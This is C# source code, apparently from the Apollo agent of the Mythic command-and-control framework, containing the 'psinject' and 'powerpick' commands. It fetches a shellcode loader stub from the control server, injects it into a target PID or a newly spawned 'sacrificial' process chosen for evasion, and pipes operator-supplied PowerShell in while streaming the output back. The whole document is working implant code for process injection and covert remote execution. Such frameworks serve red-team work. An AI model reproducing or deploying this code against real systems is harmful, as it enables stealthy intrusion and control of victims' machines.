public static void ExecutePsInject(AJ.Job job, Agent agent) { Task task = job.Task; string psCommand; string loadedScript = GetAllLoadedScripts(); string loaderStubID; byte[] loaderStub; string pipeName; int pid = -1; JObject json = (JObject)JsonConvert.DeserializeObject(task.parameters); loaderStubID = json.Value <string>("loader_stub_id"); // Reset the loader stub each time as a new named pipe is given to us from on high. loaderStub = null; loaderStub = agent.Profile.GetFile(task.id, loaderStubID, agent.Profile.ChunkSize); if (loaderStub == null || loaderStub.Length == 0) { job.SetError(String.Format("Unable to retrieve assembly loader shellcode stub with ID {0}", loaderStubID)); return; } pipeName = json.Value <string>("pipe_name"); if (pipeName == "") { job.SetError("No pipe name was given to connect to (server error)."); return; } psCommand = json.Value <string>("powershell_params"); if (psCommand == "") { job.SetError("No commands were given to execute."); return; } pid = json.Value <int>("pid"); job.ProcessID = pid; // Spawn new process // Inject into process // Send PowerShell to process // Receive output from PowerShell try { ApolloTaskResponse response; var injectionType = Injection.InjectionTechnique.GetInjectionTechnique(); var injectionHandler = (Injection.InjectionTechnique)Activator.CreateInstance(injectionType, new object[] { loaderStub, (uint)pid }); if (injectionHandler.Inject()) { // Connect to initial named pipe and send job // Also sends along task ID to use as new named pipe name to read output // This prevents colliding with other jobs that might be running at the same time // ...hopefully NamedPipeClientStream pipeClient = new NamedPipeClientStream(pipeName); pipeClient.Connect(30000); BinaryFormatter bf = new BinaryFormatter(); bf.Binder = new PowerShellJobMessageBinder(); bf.Serialize(pipeClient, new PowerShellJobMessage() { LoadedScript = loadedScript, Command = psCommand, ID = job.Task.id, }); try { List <string> output = new List <string>(); Mythic.Structs.AssemblyResponse asmResponse = new Mythic.Structs.AssemblyResponse() { sacrificial_pid = pid, sacrificial_process_name = System.Diagnostics.Process.GetProcessById(pid).ProcessName }; using (StreamReader sr = new StreamReader(pipeClient)) { //sr.ReadLine(); while (!sr.EndOfStream) { var line = sr.ReadLine(); if (line != null) { job.AddOutput(line); } } } job.SetComplete(""); } catch (Exception e) { job.SetError(String.Format("Error while reading from stream: {0}", e.Message)); } } else { job.SetError($"Could not inject into PID {pid}: {System.Runtime.InteropServices.Marshal.GetLastWin32Error()}"); } } catch (Exception e) { job.SetError(String.Format("Error in psinject. Reason: {0}", e.Message)); } }
public static void ExecutePowerPick(AJ.Job job, Agent agent) { Task task = job.Task; string psCommand; string loadedScript = GetAllLoadedScripts(); string loaderStubID = ""; byte[] loaderStub = null; string pipeName; JObject json = (JObject)JsonConvert.DeserializeObject(task.parameters); loaderStubID = json.Value <string>("loader_stub_id"); // Reset the loader stub each time as a new named pipe is given to us from on high. loaderStub = agent.Profile.GetFile(task.id, loaderStubID, agent.Profile.ChunkSize); if (loaderStub == null || loaderStub.Length == 0) { job.SetError(String.Format("Unable to retrieve assembly loader shellcode stub with ID {0}", loaderStubID)); return; } pipeName = json.Value <string>("pipe_name"); if (pipeName == "") { job.SetError("No pipe name was given to connect to (server issue)."); return; } psCommand = json.Value <string>("powershell_params"); if (psCommand == "") { job.SetError("No parameters were given to execute."); return; } // Spawn new process // Inject into process // Send PowerShell to process // Receive output from PowerShell //ProcessWithAnonymousPipeIO sacrificialProcess = null; SacrificialProcesses.SacrificialProcess sacrificialProcess = null; string sacrificialApp; var startupArgs = EvasionManager.GetSacrificialProcessStartupInformation(); try { sacrificialProcess = new SacrificialProcesses.SacrificialProcess(startupArgs.Application, startupArgs.Arguments, true); sacrificialProcess.Exited += delegate(object sender, EventArgs e) { job.SetComplete(""); }; ApolloTaskResponse response; Mythic.Structs.AssemblyResponse asmResponse; if (sacrificialProcess.Start()) { job.ProcessID = (int)sacrificialProcess.PID; job.sacrificialProcess = sacrificialProcess; asmResponse = new Mythic.Structs.AssemblyResponse() { sacrificial_pid = (int)sacrificialProcess.PID, sacrificial_process_name = startupArgs.Application }; #region PowerPick Testing // setup redirection sacrificialProcess.OutputDataReceived = delegate(string data) { job.AddOutput(data); }; sacrificialProcess.ErrorDataReceived = delegate(string data) { job.AddOutput(data); }; #endregion if (sacrificialProcess.Inject(loaderStub)) { // Connect to initial named pipe and send job // Also sends along task ID to use as new named pipe name to read output // This prevents colliding with other jobs that might be running at the same time // ...hopefully NamedPipeClientStream pipeClient = new NamedPipeClientStream(pipeName); pipeClient.Connect(30000); BinaryFormatter bf = new BinaryFormatter(); bf.Binder = new PowerShellJobMessageBinder(); bf.Serialize(pipeClient, new PowerShellJobMessage() { LoadedScript = loadedScript, Command = psCommand, ID = job.Task.id, }); try { var msg = (PowerShellTerminatedMessage)bf.Deserialize(pipeClient); #region old good code //List<string> output = new List<string>(); //using (StreamReader sr = new StreamReader(pipeClient)) //{ // //sr.ReadLine(); // while (!sr.EndOfStream) // { // var line = sr.ReadLine(); // if (output.Count > 4) // { // asmResponse.output = output.ToArray(); // response = new ApolloTaskResponse(job.Task.id, false, asmResponse, ""); // agent.TryPostResponse(task.id, response); // output.Clear(); // } // output.Add(line); // } // if (output.Count > 0) // { // asmResponse.output = output.ToArray(); // response = new ApolloTaskResponse(job.Task.id, false, asmResponse, ""); // agent.TryPostResponse(task.id, response); // output.Clear(); // } //} #endregion } catch (Exception e) { job.SetError(String.Format("Error while reading from stream: {0}", e.Message)); return; } } else { job.SetError($"Could not inject loader stub: {System.Runtime.InteropServices.Marshal.GetLastWin32Error()}"); } } else { job.SetError($"Could not start sacrificial process: {System.Runtime.InteropServices.Marshal.GetLastWin32Error()}"); } } catch (Exception e) { if (sacrificialProcess != null) { job.SetError(String.Format("Error in powerpick (PID: {0}). Reason: {1}", sacrificialProcess.PID, e.Message)); } else { job.SetError(String.Format("Error in powerpick. Reason: {0}", e.Message)); } } finally { if (!sacrificialProcess.HasExited) { sacrificialProcess.Kill(); } } }